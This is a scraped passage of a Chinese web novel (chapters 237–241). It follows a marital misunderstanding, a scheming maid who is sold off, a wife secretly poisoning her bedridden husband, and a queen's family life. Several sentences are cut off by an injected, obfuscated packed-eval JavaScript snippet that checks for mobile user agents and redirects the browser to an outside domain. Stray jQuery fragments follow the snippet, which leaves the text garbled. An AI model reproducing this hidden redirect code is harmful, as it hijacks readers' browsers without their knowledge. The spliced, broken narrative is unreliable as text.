本是一件再小不过的事,现在成了大问题,以她家阿姑这个脾性,教是教不会的,只能劝说道:“大人如今也在气头上,待过了这一阵就好了,你也别气,为着一个丫头不值当。” 阿史苓根本听不进去,掉转身进了屋,走到衣橱前把里面的衣服呼啦啦全扒了出来。 “这是做什么?”珍珠见了忙上前问道。 “我要回家,我不要住这里了。”阿史苓一面搂着衣物,一面指着珍珠道,“你来帮我打点,咱们收好东西就走。” 珍珠把她手里的衣物抢拿过,又放回衣橱内,拉着阿史苓坐下。 “崔府就是你的家,不是婢子说,阿姑你这么气怔怔地跑回去,叫老爷和夫人见了怎么想,他们若是问你为何回来,你又如何说?难不成告诉他们,你被一个婢女气跑的?” 阿史苓被珍珠一提醒,也觉得自己不该这么回阿史府,不能让父母担忧,可心里憋闷难受,却无法得到排遣。 她受不了崔致远的冷脸,这种难受的滋味她形容不出。 “我知道了,你去罢,我想一个人静一会儿。” 珍珠见她稍稍冷静下来,便退了出去。 刚才气狠了,阿史苓这会儿身子发软,走到床榻边,踢了鞋和衣躺下,可一闭眼脑子里就是崔致远凉凉的目光。 都说男人爱你时,你怎么样都是好的,不爱之时,做什么都是错,他一定对她没了耐心,以后他对她只会更加没耐心。 想着想着又不争气地流下眼泪,抬起手,用衣袖狠狠地擦干眼,心里告诉自己,她才不要为了这么个穷书生流眼泪,然后倦倦地睡去,待到醒来之时,窗纱上的光已暗了下来,屋子里晕黑一片。 “主子,醒了么?” 珍珠的声音从门外传来。 阿史苓“唔”了一声,接着房门打开,珍珠进屋先点上灯烛,然后走到榻边,扶阿史苓起身。 “灶屋已备下了饭菜,一会儿就叫他们摆上来。” 阿史苓还有些迷怔,人是迷怔的,心里也堵沉沉,过了片刻才想起她同崔致远起了争执,然后他甩袖离开。 她张了张嘴,想问一问他有没有回?却又拉不下脸,珍珠哪里看不出来,主动道出:“大人一直在书房里,并未出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿史苓沐过身刚从隔间出来,就见花奴立在屋里,当下柳眉立起,呵斥道:“谁叫你进这屋子的?!” 花奴躬身道:“婢子过来是照着大人的吩咐,清点大人的衣物,这才不得不来搅扰夫人,现下衣物已清点得差不多了,这就离开。” 说罢,领着三个手拎大小包的丫鬟离开,身后还跟着两个抱着被褥和铺盖的小厮。 阿史苓本来稍稍平复下来的火气又蹭地蹿起,好,好样的,崔致远,你好样的,把我当软柿子捏,可你别忘了,我阿史家就没人是孬货,绝不受窝囊气! 你叫我不好过,我也不让你好过,咱们都别想好!你先前不是说我刁蛮么,我就让你见识见识什么才是真正的刁蛮…… 第238章 冤家 这方花奴带人清点毕衣物去了前院的书房。 一进书房就见大人歪坐在窗榻的案几边,一手端着茶盏往嘴边送,可那眼睛始终不离书页。 大人不似那些王孙贵戚俊朗风流,眉眼有些单薄,特别是那一双眼,眼角弧度稍稍下延,眼皮上带一点凹陷的眼褶,这容貌很经得起打量。 平日里,大人对他们这些下人态度亲和,从不呵斥,府中事务又清减,私下众人无不庆幸在崔府当值。 她更是存了一门心思,大人好脾性,腹中又有大文章,在她看来,他什么都是好的,若能得大人恩幸,纵使为奴姬,也是使得。 动荡之时,崔府被查,大人哪怕被下了牢狱,还托人极力保下他们这些下人免受牵连。 然而难料,大人回府后没多久就娶了阿史家的贵女。 她知道,这对大人来说定是**的,因为阿史家于他有恩,他不得不娶那家的女子,而阿史家就是看中大人为君王近臣,这才愿意同大人联姻。 那阿史家的贵女除了一个身份,没有半点可取之处,骄纵、无理、刁蛮,没有女儿家的半分温柔,大人却从不计较,迁让着她。 这样的女人根本配不上大人。 阿史家的贵女就是个无脑蠢货,她只需在中间稍稍挑拨,就能离间她和大人本不牢固的关系。 像她那样自恃金贵的娇女,最好对付,用不了多久,她就会从崔府负气离开,滚回她的阿史府。 而她会成为大人最贴心的人,只要笼络了大人的心,像大人这般重情义之人,以后就算再有高门大户的女子嫁进来,她在大人心里的地位也稳固。 心里这么想着,施施然走到崔致远身侧侍立,见他喝了茶,自觉接过他手里的茶盏,然后续上半杯,搁于案上,又去剔了剔灯芯。 “大人,晚上您吃得少,婢子再让灶房上些饭食,筛一壶酒来,您吃了好睡。” 崔致远一双眼落于书卷,眼也不抬地说道:“不必了。” 花奴在旁边静了一会儿,又道:“大人,夜深了,要不休息罢,仔细伤眼睛,明儿您还要起早去王庭。” 崔致远并不回应,花奴只好闭了嘴,可那眼梢的余光却依依地落在男人身上。 安静中,房门被叩响。 “大人,夫人给您做了一碗玫瑰酥酪,叫婢子给您送来。” 花奴一听这声音,是阿史苓跟前的珍珠,于是走到门前,打开门。 “大人这会儿不吃宵夜,珍珠姐姐还是拿回……” 话未说完,就听屋里的崔致远说道:“拿进来。” 珍珠横了花奴一眼,举步进屋,错身时把花奴一撞,然后若无其事地走到窗榻边,打开食盒,拿出小盖盅,轻搁于案上。 崔致远看了小盖中一眼,问道:“夫人亲手做的?” 珍珠点头道:“因夫人自己喜欢吃玫瑰酥酪,在阿史府时同厨子学了这一手,适才她亲自下厨,都不叫人近身,不让人打下手,忙活了好半天,这一小碗玫瑰酥酪尽是夫人对大人的体贴和关心。” 珍珠趁着这个时候铆劲地替她家阿姑美言。 当阿姑说要替大人做甜品时,她还吃了一惊,欣然阿姑终于开窍了。 做成后,阿姑叫她用食盒装了,拿到书房给大人品尝。 崔致远放下手里的书卷,揭开小盖盅,只见盅内乳白状如豆腐,面上还点了细碎的花瓣,看着很有卖相,于是端起,拿勺子轻舀递入嘴里。 珍珠见大人肯吃甜品,心道,大人并没有记苓姑的仇,不然不会吃她亲手做的甜品。 别的不说,她家阿姑做的玫瑰酥酪还是拿得出手的,大人吃过后,心一软,两人就会和好如初。 然而,事情同她预想的不一样,只见大人眉心蹙起,从额头到腮边,噌地一下红了,不,不是红,像是熟了。 “咳咳——” 崔致远猛地咳了两声,然后半张着嘴,呼着气:“水……” 花奴一见,赶紧倒了茶水递上,然后抚拍崔致远的背,关心道:“大人这是怎么了?” 崔致远不能吃辣,舌头碰一点就辣得不行,而这碗玫瑰酥酪不是甜口,却是咸辣口,辣味极重。 一碗你以为是甜食的东西,结果入到嘴里是辣味,对于不能吃辣的人,那脑子简直要炸一样,就像一个怕虫的人吃水果,发现果肉里有一半蠕动的虫身,另一半在自己嘴里。 崔致远两眼呛出一点湿意,问道:“怎么是辣的?” 珍珠赶紧说道:“玫瑰酥酪是甜的,怎会是辣……的……” 说到这里,她已知道,定是苓姑故意使坏,明知大人不能吃辣,偏要做个辣口来恶心他。 “婢子这就把它端下去倒了,大人千万莫要生气,应是夜里光线不明,夫人没看清,错使了调料。”珍珠解释道。 旁边的花奴一声冷嗤:“又不是糖和盐,再怎么光线不明,总不会连辣子和糖霜都分辨不清,珍珠姐姐这话未免太过牵强。” 珍珠也觉着理亏,此事不好圆,只能说道:“大人莫要动怒,婢子这就把它拿下去,再做一碗来。” 崔致远摆了摆手,把小盖盅拿起,忍着不适,一口一口将酥酪吃完,额上已泌出细汗,吃完后把小盅递给珍珠。 “回去同她说,再莫要糟蹋粮食。” 珍珠将小盅放回食盒内,连连应下,又问了一句:“大人要不要回夫人房里歇息?” 崔致远接过花奴递来的巾帕,拭干额上的细汗,说道:“不了,她那屋子贵重,我入不得。” 珍珠不好再说,只能应声退下,回了后院,却发现自家阿姑已然睡下。 心里一叹,这二人是要别扭到底了。 次日,崔致远去了王庭,阿史苓照常该吃吃,该喝喝,同平时没什么两样。 到了下午,珍珠从院外走来,自家主子不在院中,寻了一圈才发现她在后园的湖轩内,整个人无精打采的,斜倚在栏杆边,窄袖捋起,露出一截蜜色的腕子,垂于栏外,手里拿着一条丝绢。 丝绢另一端系了吃食,淹于水下,引得鱼群拢聚,出水唼喋。 “主子,大人回了。” 阿史苓闲闲地看着池鱼“嗯”了一声。 “去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么舍得回屋了,那书房不好么?”阿史苓斜睨了他一眼。 “我为什么回屋你不清楚?”崔致远身上的湿衣衫未褪,后背拓出一个边界不规则的湿印。 阿史苓自顾自吃起来,崔致远坐到她的对面,珍珠见了,赶紧叫人多上一副碗筷。 “大人不是说不来我这屋子么?怎么这会儿又回来?” “我可没说这话,分明是你使蛮不许我进屋。” 阿史苓追说道:“对,就是我使蛮,就是我不许你进屋,那你出去。” 崔致远拈箸端碗,冷笑一声:“你不许我进屋,我偏要进,这屋子是一人的?” 珍珠见他二人跟孩子似的拌嘴,真是应了那句话,不是冤家不聚头。 “大人,婢子见您衣衫湿了,要不先更衣,否则着凉就不好了。”珍珠说道。 “无所谓,反正也没人心疼,就这么着罢。”崔致远说罢,自顾自地吃起饭,不再多说一句…… 第239章 静静的幽色 阿史苓听崔致远那般说话,一时间有些心虚,暗道,他若真病了,这屋里又要多个病患,还是健健康康的好。 “大人把湿衣换了罢,若是染了病,难不成夜里再过给我?” 崔致远听了这话,遂起身叫珍珠伺候他更衣。 珍珠心道,阿姑看起来一句简简单单的话语,却有些意思,那后半句“难不成夜里再过给我”,虽未直言,侧面意思就是留大人在屋里过夜。 大人自然也听出来,这才起身更衣。 她先前怎么说来着?只要她家主子说几句软语,大人好哄着呢。 崔致远更衣毕,两人对坐用饭,用**后,两人先后沐洗过,天还未完全黑透,阿史苓不想太早睡下,去了园子散步消食。 崔致远则在屋里品茶,等阿史苓回来时,他正靠坐于床头灯下看书。 珍珠替阿史苓褪去衣衫,换上柔软的寝衣,再散开微湿的发辫,然后掩门退出。 阿史苓走到桌边给自己倒了一杯茶水,捧着慢慢喝了,然后近到榻前,上了榻,入到里侧同崔致远一样,并靠坐着,余光中见他看书看得入神,张了张嘴想说什么。 “你不是最怕辣么?” 崔致远“嗯”了一声,仍继续看着手里的书。 阿史苓缓缓靠近他,一只手就势搭上他的胳膊:“那你还吃那碗酥酪?” 崔致远一手拿书卷,另一只手牵起她搭在自己臂膀的手,只是眼睛仍看着书卷,随口道:“难得你亲自做吃食给我。” 阿史苓心里一软,从前她划破他的衣衫,哄骗他,说什么为表诚心亲自给他缝补,结果却是找府里的绣娘补的。 后来,他被下了牢狱,然后她给他送饭,再之后他住进阿史府,她同他日常相处,最后她同他走到一起,成了亲,这中间点点滴滴细数起来,好像她从未亲自为他做过什么,哪怕一点浮于表面的殷勤都没有。 别说荷包或是香囊之类的小物件,说来可笑,她连他的衣衫放在何处都不清楚。 心里这么想着,脑中却突然闪过书房中他同一个婢女乱来的事,虽说她没亲眼看见,可这没亲眼看见比亲眼看见了更坏事。 无限的想象中,把他对她做过的那些羞人的事都放在了花奴身上,她忍受不了,受不了他对另一个女人做同样的事情。 越想越来气,一来气就跟自己较上劲儿,把手从崔致远手里一抽,哼了一声,侧身躺下,背过身子不去看他。 崔致远不知她在气什么,难道刚才自己那话说错了?放下手里的书卷,将床头的蜡烛吹熄,打下半边帐幔,也躺身下去。 “你在气什么?”崔致远问道。 阿史苓闭着眼装睡,不去理睬他。 崔致远又道:“我见你这几日似是心里有事,要不要说出来我听一听?” 阿史苓仍是不语,她见他这样依就,遂告诉自己,要不算了,不气了,他既然收用了花奴,那便收用了罢,不然还能怎样呢。 这么想着,身后之人慢慢靠了上来,将她环在怀里,手覆在她的手上,交握着。 “是不是我哪里没做好?” 男人的声音从昏暗中传来,在这静静的幽色中,连着字句的转息都听得很清楚。 她感到他的呼吸轻轻拂上她的侧庞,然后是一抹很温柔很轻的唇瓣触碰,他的唇稍薄,微凉,混着他身上的皂香,让她神思有些迷荡。 崔致远见她乖顺,并不像之前那样抵触,于是探手解她的衣带,然而她却紧紧地揪住衣襟。 他突感无力,离她远了些,平躺下,双眼看着床帐。 “还是说你后悔嫁我了?” 阿史苓心里很乱,不知道自己是后悔还是不后悔,于是启口道:“我忍受不了。” “忍受不了什么?忍受不了我?还是忍受不了嫁作人妇的生活?”崔致远闭上眼,如果她说忍受不了他,他要怎么回答,放她离开还是挽留? 他忽然后悔自己不该问得这样清楚,如果不问,也许还能自欺欺人地过下去。 阿史苓终于转过身,面朝崔致远,牵着他的手,抚上自己的脸。 崔致远这才发现手下湿凉一片,说道:“你若是后悔,我……” “我这人妒性强,见不得你碰别的女子,怎么办?”阿史苓懊恼地叹了口气,“你碰了别人,我就不喜你碰我了。” 崔致远愣了愣,有些接不上话,怎么和自己想的不一样,懵怔地问道:“什么碰别的女子?你是不是听谁乱传。” 阿史苓见他不认,把他的手放开,说道:“我亲眼看见的,你和那个花奴在书房里胡天胡地,哼哼唧唧。” “胡……胡天胡地?和花奴?”崔致远欠起身,探手到阿史苓的额头试试温度,“没烧啊。” 阿史苓“嗳”了一声,打开他的手:“你别不承认,我亲眼看见的。” “在哪儿看见的?”崔致远问道。 “书房。” “还请详尽描述一番,我是怎么胡天胡地的。” 阿史苓想了想,说道:“我听见花奴‘啊’地叫了一声,然后就是你们脱衣裳的声音,你还不承认?” 崔致远气也不是,笑也不是,和着她根本没看见,于是回想一番,想她说的应是那日花奴把茶水泼洒于他身上一事,于是讲述出来。 “就只是这样?”阿史苓有些不信。 崔致远干脆坐起身,也拉着她坐起,认真地说道:“真就是这样,再没别的。” “那你让花奴回来清点衣衫,是打算再不回这屋了?” “不是你叫珍珠来催我清衣衫去书房,我以为你撵我呢。” 阿史苓摇了摇头:“珍珠怎么可能做这样的事,她是去书房请你回院用饭哩!这丫头日日在我耳边规劝,生怕你我矛盾积深。” 崔致远“嗯”了一声,说道:“是个好丫头。”然后将事情前后在脑子里过了一遍,心里了然。 阿史苓扯住崔致远的衣袖,嘟囔一句:“既然是误会那我就不追究了,但咱们说好,你以后不准再护着那丫头。” 一语毕,见崔致远并不答言,只顾低头思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753135|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着什么,于是追说道:“听见没有?” “听见了,再不护了。”微暗的光线中,崔致远见她粉腮微嘟,眼角边还有泪星儿,打趣道,“我还没问你呢,你将我书房的睡榻湿水是为何?” “你说什么,我听不懂。” “你还装,那睡榻不是你弄湿的?难道不是你为了让我回屋,故意在背后使坏,是也不是?” 阿史苓脸一红,把身子侧过去,嘴硬道:“我才不是为了让你回屋,就是单纯想使坏,你难道不知我的恶名,不是早领教过了么?” 崔致远笑出声,笑过后再次认真问道:“苓姑,嫁给我……你有无后悔?” 阿史苓故意不去回答他的问题,只是双手掩着嘴笑,像一个偷吃糖果的孩子捂着嘴,怕被大人发现。 崔致远看着她,看着她弯弯的笑眼,凑了过去,吻上她的手背,然后阿史苓松下双手,扑在崔致远的怀里,抱着他,将头靠在他温薄的胸脯上。 “以后你要一直这样对我好,不许变。” 崔致远想了想,问道:“那要是变了呢?” “你要敢变,我天天给你饭里放辣子……” 接着就听到男人清朗的笑声。 花奴得知崔致远回了那边的院子,心里不忿,却又无可奈何,不过没关系,来日方长,就夫人那个性子,她想要再挑事易如反掌,大人再好的脾气,也经不住后院不宁,枕边人不省心,总有厌烦的一日。 次日一早,花奴照例守在门前,听见屋里轻微的动静,于是问道:“大人,婢子进来伺候您更衣?” 屋里的男人“嗯”了一声,轻声很轻。 花奴推门而入,因天还未大亮,屋里光线幽蓝,半掩的窗隙吹来清凉的晨风,床帐揭起,男人披着一件绢衣下了榻。 在纱帐揭起的一瞬,她瞥见帐下的旖旎,眼中是掩也掩不住的妒意。 然而下一刻,她生生把一闪而过的妒意收了起来,娴熟地伺候男主人梳洗更衣。 理衣毕,崔致远看了一眼花奴,声调不低不高地说道:“你跟我来,我有话问你。”说罢出了屋子。 花奴随在他的身后,心里忐忑,怕不是夫人吹了枕边风,嚼说她的坏话,大人听信了她,准备责问自己? 崔致远走出院子,又走了一段距离,然后立住脚,转身看向自己的贴身女婢,问道:“那日夫人身边的珍珠来书房,分明是请我回内院用晚饭,为何我问你,你却是另一番说辞,说珍珠来问何时清点衣物,叫我以为夫人不待见我。” 花奴听罢,扑通一声跪下,声泪俱下:“大人,您要信婢子啊!当时珍珠真是问何时清点衣物,并非婢子在骗您。” 在她的呜咽中听得头顶的声音传来:“你的意思是夫人在骗我了?” “夫人的性子大人您是知晓的,孩子似的没个定数,孩儿性嘛,嘴里没有实话也未可知,可婢子忠于您的心是实实的,绝不会欺骗大人,大人一定要信婢子。” “这么说来,我该信你,不该信夫人了?” 第240章 潮污的暗室 花奴听崔致远如此一问,眼中泪珠滚落,泣声道:“夫人她非一次哄骗大人,如今见婢子对大人一心一意,便瞧不惯婢子,想要压制,就拿假话说给大人听,婢子也不知做了什么,叫她这样恨奴。” “夫人有没有哄骗,我一眼可辨出,本大人也情愿受着,可你居然在我面前使伎俩,不过你刚才的话里倒有一句实言。”崔致远朝一边伸手招了招,“夫人确实瞧不惯你,既然如此,你就不用在这府里待了。” 管家趋步上前,听候吩咐。 “带她下去,找个牙人卖了。”崔致远说道。 管家应下,而那花奴还有些没反应过来,下一瞬扑到崔致远脚边,涕泗横流道:“大人,不要赶婢子走,婢子对您可是诚心的。” 崔致远念她伺候自己,多说了一句:“对你已有容忍,你却坏了心,心坏了,不能留。” “一定是夫人,她眼里容不下我,就撺掇大人发卖婢子,大人怎就看不出她的蛇蝎心肠,若婢子的心坏,夫人的心岂不是更坏?!” 崔致远面色一沉:“是本大人要发卖你,关夫人何事,不过由此可观你心性实在阴暗,夫人虽娇蛮,却从未在背后挑唆人不好,更不曾说过要发卖你的话。” 说罢,转头对管家道:“夫人起身前,弄出府去。” 管家招手,让护院把人拉了下去,任花奴哭闹亦是无用。 彼边…… 朵阿赤出发之前去了一趟自己母亲屋子,说了许多道别之话,贵妇人在他临行前千万叮咛,最后又道:“走之前,去看看你父亲,叫他也看看你。” “儿子知道。” 朵阿赤出了屋子,去了另一处院落,这里住着朵梵儿之母,葛予氏。 一进屋子,就是终年不散的药味,只是如今这屋子的药味比之从前更浓郁了。 屋子的两扇窗大开着,可外面的光一进这屋子,就被削弱得薄脆一片,只够看清雾蓝色的光中打着旋的灰粒。 “大爷来了,快请上坐。” 这时从里屋出来一个老妇,这人是葛予氏身边的仆妇。 老仆妇让丫鬟上了茶点,请人入座。 “夫人呢?”朵阿赤问道。 仆妇笑道:“夫人正在里间伺候大人喝药,大爷稍坐,老奴这就去请。” 一墙之隔的里间,比外间更加昏沉,突然走进去,眼睛还需适应暗下来的光线。 一张老木制的床榻,榻栏是油红色,不知雕镂着什么,光线太暗,看不清明,双层的床帐,一层黄,一层绿,把床榻三面围合。 床沿坐着一个人,肩背弓着,因着这个角度,那薄软衣衫下凸起两片肩骨头,被光影照露的侧面,是一道一道褶皱的纹路。 “来,把这药喝了,喝完了药,身体就好了,老爷又能像以前那样,咱们朵家还得靠你呢,您得快些好起来。” 她将碗里黑糊的汤汁舀起,往前送去,床头歪靠着一人,嘴巴半张,牙齿切着响,两眼恨瞪,脑袋像树头要掉不掉的叶,摇摇搭搭。 只见他吃力地推开汤匙,黑药汁晃荡而出,滴到潮污的衾被上。 “阿赤……阿赤……救……” 朵尔罕两个眼珠移动艰难,斜望着门口,他听到了大儿子的声音。 朵氏之母葛予氏并不恼,再次舀起一勺汤药,送往朵尔罕的嘴边:“你看你,这么大的年纪,吃东西还闹,老爷别去搅扰阿赤,他临行在际,要出门做大事,咱们整个家都还得靠他哩,您就在家里老老实实地养病,啊?” 朵尔罕晃颤着手再次把汤勺一推,嘴里含糊不清:“阿赤……阿赤……” 葛予氏放下手里的碗,拿过帕子,将指尖拭干净,轻声道:“老爷怕甚呐,妾身给老爷熬制的药里虽然下了毒,可这毒并不会立刻致命,不过就是叫你像蜡一样慢慢地化掉,老爷放心,完全化掉之前,您还能活好久,这样不好?” “贱妇……下……毒……” 男人嘴里吐露不清,不停地生出唾沫,往下涎着。 葛予氏哑笑一声,这时,仆妇走了进来:“夫人,大爷过来辞行,说是走之前来看一看老爷。” 葛予氏点了点头,瞥了一眼床上的朵尔罕,起身道:“招呼好老爷,别让他闹出响动,大爷马上出海远行,不能叫他分心。” 老仆妇应下。 朵尔罕身体无法动弹,肢体也不受控制,可他的头脑却异常清醒。 呼延吉容赦朵家人之罪,并没有收走朵家府邸,只是除了朵家的上姓之名。 他并不悔自己的行径,唯恨此事没能做成。 然而,他没料到,精于算计的自己却被葛予氏给毒害。 这个半死不活且唯诺无能的葛予氏竟敢对他下手,此妇人心中定是恨极了他,却一直隐忍蛰伏于他的身边。 不仅如此,还瞒过府中人,对外宣称他身染怪病,连同医者也被她买通,如此一来,他只能任她摆布,平日里,子女们要来看望,都被她以各种理由打发。 今次,大儿子要远门,无论如何,得借这个机会让他进屋,救自己。 葛予氏出了屋子,坐于上首,朵阿赤见了向上拜了拜,然后告了座。 “父亲的病症可好些了?”朵阿赤关心道。 葛予氏摇了摇头,语中透着忧愁:“还是那个老样子,脾气倒是越来越坏了。” “父亲身体不好,脾气难免不耐,夫人还需多担待些。”朵阿赤说道。 “这个自然。”葛予氏岔开话头,“你去那边可有人接应?” 朵阿赤点头道:“有人接应,夫人不必担心,一切都安排妥当。” 葛予氏叹了一息:“你这孩子……嗳!不过是不想让我们担心罢了。” 正说着,里屋突然“嘭——”的一声闷响,然后是嘶哑的“啊啊”叫。 朵阿赤赶紧站起身,眼睛往里间探看:“什么声音?” 葛予氏笑了笑,说道:“想是又闹脾气了,不好生喝药,无事,里面有人伺候着。” 朵阿赤往前迈了一步:“这一去也不知何时回,走之前让我进去看一看父亲,好同他告别。” 葛予氏似有为难,说道:“理该如此,只是他这个病症污秽,病气又重,你马上要登船的人,也图个吉利不是?还是别进了。” 朵阿赤又问道:“父亲真没事?” “病人嘛,身体的病症还在其次,主要是心病不好依,咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“老爷就没想过,我一多病的深宅妇人怎会有这玩意儿?”葛予氏笑声渐大,在这森冷的屋里异常刺耳,“这药啊……就是阿赤给我的。” 朵尔罕两眼大睁,眦目欲裂,摇着头。 “不信?不然你以为大王为何会放过你,放过朵家,咱们朵家人从来都是你手上的牺牲品,如今也该轮到你为这个家献祭了。” 说到这里,葛予氏是真开心了,只听她又道:“知道我为何现在才告诉你么?就是让你心里有盼念,再让你彻底绝望,看看这间昏暗的屋子,可知我为何从不点灯,因为它是你的墓葬……” …… 一晃又是数月,小王子已有五个月大,江念为着孩子开始学习一门新的技艺,而呼延吉呢,见江念给自己生了这么一个可爱壮实的儿子,找到一点初为人父的感觉。 可这男人不同女人,对孩子没太多耐心,有时甚至会吃味,觉得江念自打有了孩子,对他冷落了许多。 便会想些办法引江念的注意,到后来,又千方百计劝说江念,让她把孩子交给乳母哄睡,不然两人有一点动静,那孩子就睁大眼把他二人看着,好几次不能尽兴…… 第241章 命危 江念最近迷上了女红,原本她不会针线活,为了孩子,竟也跟着制衣工学起针黹类活计。 那些衣褂她做不好,可一个母亲对孩子的心总要在一些地方体现,于是她学着做一些孩子的小袜子、小肚兜之类的小件。 也不去调香了,怕身上香味熏着孩子,真真是一颗心全扑在孩子身上。 这晚,呼延吉从沐室出来,披衣缓带走进寝屋,见江念倚在床头灯下缝补着什么。 “说了多少回,晚上不要做这些,坏眼睛。”呼延吉一条腿跪撑于榻,挨近身往她手上看了一眼,“嗳”了一声。 江念仍专注于手上的缝补,头也不抬地问道:“怎的嗳起来了。” “我为朔儿叹这一息。” 江念停下手里的动作,看向他,嗔怪道:“孩子好好的,你叹什么?” 呼延吉靠坐于榻,双手撑在脑后,眸光斜睨:“他现在还小,不会说话,你等他再大一点,你绣制的这些东西,啧啧——” 说着,摆了摆脑袋。 江念把自己缝制的小袜子摊于膝上,看了看:“不好么,我觉得还行呐。” 呼延吉拣起两只小巧的软袜,合在一处,说道:“你看看,这叫还行,一只大一只小,你别把咱们儿子的脚穿成一大一小。” 江念凝目去看,当真是一大一小,有些败丧:“做了两日……” 呼延吉在江念脸上望了一眼,然后拿起两只小袜套她的耳朵上,一边挂上一个,就像两只耷拉的白耳朵。 江念眨了眨眼,意识到他在做什么时,就去追打,一面戏闹一面嗔说:“你幼不幼稚。” 呼延吉笑着躲闪,见江念要去扯“白耳朵”,一把攥住她的手腕,他一只手能把她的细腕完全包裹。 “扯了干什么,你戴着朔儿的小袜更好看了。”说着又忍不住大笑出声。 “你简直……你多大了,怎的还同孩子似的。” 呼延吉回答道:“本王如今快二十三了。” 江念双手被他锢着,开始晃脑袋,左摆一下,右摆一下,想把耳朵上挂着的小袜甩下来。 呼延吉见她那样子,实在好笑,不再逗她,松开手,江念便把耳朵上的小袜取了下来。 “我去看看朔儿。” 正待起身,被呼延吉拉回:“乳母带着好好的,你又去扰他,你这一去,叫他看见又哭着要你,离不得了。” 自打呼延吉回来后,江念才慢慢放宽了心,肩头的重担有人扛,她又回到从前无忧的时候,除了孩子,没什么可叫她担心劳神的。 呼延吉又择吉日册立她为大妃,当然了,这中间少不得争论,不过很快被他压了下去,拿梁境诸城堵了朝臣们的嘴。 后来民间都传,小王子出生时,天现福瑞之兴,所以小王子是天选之子,是为清明灵气所秉者,夷越日后必将昌隆祚永。 江念立为大妃,她的孩子自然就是储君,大局已定,只要呼延吉在一日,她和孩子的地位就无可撼动。 而孩子呢,她也在试着放手,不像之前那样离不得眼,在宫人们的精心侍候下,江念把身子渐渐调养了回来。 现在的她无比满足,晨间趁阳光轻薄,带着孩子去祥云殿给高太后请安,闲坐一会儿,出了祥云殿再去肖妃的莲花殿走一趟,到她那小山间转一转,顺带采些果蔬回西殿。 有时阿史苓同肖甄会来王庭陪她打发时间。 肖甄生的是个女儿,比朔儿大几个月,她见过两次,很可爱机灵的小丫头。 因着朔儿还小,她不能带他去坊间玩,预备满一岁后,再带他出王庭,去坊间游转。 呼延吉本是个挑重担的人,不论大大小小的问题,通常不会诉之于她。 如今,她的日子过得十分闲适,上上下下没有特别操心的事务。 江念把小袜子整叠好,搁于枕边然后转头看向呼延吉:“轲儿给我来信了。” 呼延吉眸光微闪,问道:“他说什么?” 江念微笑道:“也没什么要紧事,说了一些他的日常,然后问我朔儿会不会说话,让我教朔儿喊舅舅,待他来时,他要听朔儿叫他舅舅呢。” 呼延吉笑着点头:“下次你让他来王庭,咱们再不去接他,把他惯的。” 江念“嗯”着应了,心里一直掖着一件事,想了想终是问了出来:“那边的战况如何了?” 呼延吉知道她问的是李恒那边的情况,而她关心这些无非是因为江轲入了李恒麾下,江轲一直想要辅佐李恒夺得帝位。 “李恒那人你是知道的,梁帝不是他的对手,他手下精兵骁将众多,打得朝廷难以招架。” “那我们还要同他们战吗?朔儿已是王储,我已被立为大妃,可不可以不同他们交战?” 一来,呼延吉上次假死于战场,她受了好大的惊吓,若不是因为孩子,她可能挺不过去,整个人的神魂散了似的,再之后,她就很害怕听到呼延吉离开王庭,实在是等他归来的滋味太煎熬。 上次他施计假死,可下次呢,下下次呢,只要他亲赴战场,她的双脚就如同吊起,落不到实处。 二来,她也不想呼延吉同江轲敌对上,也不想呼延吉同李恒敌对上,江轲是她的亲弟,这个自不必说,李恒于她而言像是兄长,同一个圈子长大的伴儿。 呼延吉沉吟半晌说道:“夷越同大梁不可能共处,我也不只是为了你的大妃之位,阿姐不妨想一想,那些并入夷越的梁境城镇会永久归属夷越么?” “不会。”江念低声道。 “是,它们并没有完全融入夷越,只是用一根绳子拴着,待到夷越势弱,这根绳子就拴不住它们了。” 那些并入夷越的境土,就像一汪清水中的两滴不同血液,哪怕靠拢在一起,中间始终有一道缝隙,没法并入,想要消弭间隙,只有在一统后的时间长河中融合。 而他要做的,就是一统梁境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759717|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有疆域,至于融合需要他的儿孙辈去完成。 